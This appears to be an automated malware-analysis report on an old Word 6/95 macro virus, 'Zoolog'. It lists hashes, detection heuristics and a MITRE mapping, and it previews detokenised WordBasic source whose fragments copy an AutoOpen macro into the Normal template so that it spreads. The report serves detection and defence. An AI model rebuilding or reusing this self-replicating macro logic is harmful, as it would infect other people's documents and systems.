Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 281add56f04e2b26…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 658e6fc4280f5860112d8b04947ecec6 SHA-1: 03325fc352f72f7d3c98a3d9fdb18bb6dfad3b7b SHA-256: 281add56f04e2b2660e685b08aa949ad61f5272329e3153df0bda12253bcf457
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy macro virus, specifically identified by 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' heuristics and the presence of 'RSN MACRO VIRUS Goat file' in the document body. The embedded text and macro names like 'AutoOpen' strongly suggest an intent to execute malicious code upon opening, likely for propagation or further infection. The ClamAV detection as 'Win.Trojan.Zoolog-1' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Win.Trojan.Zoolog-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Zoolog-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 807 bytes
SHA-256: 9b16dd642fd71915c4c0d028827c7538ac18bbf6a5f476193c1885722ea7fec0
Preview script
First 1,000 lines of the extracted script
MAIN
, - * Crash
normal = @cmd80b7 0
normal 1 * SaveMacNorm
normal = 1 * ID
count = 1 normal
name$ = @cmd80b8 count , 0
@cmd00d7 = name$ ,
count
IDChekit$ = @cmd8045 , IDZoo$
IDChekit$ = MyName$ * SaveFileMac
@cmd00d7 = Final$ ,
@cmd80c2 ThisFileDot$ = Final$ , Normal$ = Final$
@cmd8046 , "beep" , MyName$
* EndProg 19813
WhoAuthor$ = MyName$ * EndProg
*   21349       9317 ,      
@cmd80c2 Normal$ = Final$ , ThisFileDot$ = Final$
IAuthor
@cmd0054 = ThisFile$ , = 1
* EndProg
@cmd802b "Error" =
@cmd6419
MyName$
MyName$ = "ZOOlog"
IDZoo$
IDZoo$ = "beep"
DotDir$
DotDir$ = @cmd818c 15 = "\"
Normal$
Normal$ = DotDir$ = "normal" = ":"
Final$
Final$ = "AutoOpen"
ThisFileDot$
ThisFileDot$ = @cmd8025 = ":"
ThisFile$
ThisFile$ = @cmd8025
WhoAuthor$
dlg @cmd0056
dlg
WhoAuthor$ = dlg
IAuthor
@cmd0056
= MyName$

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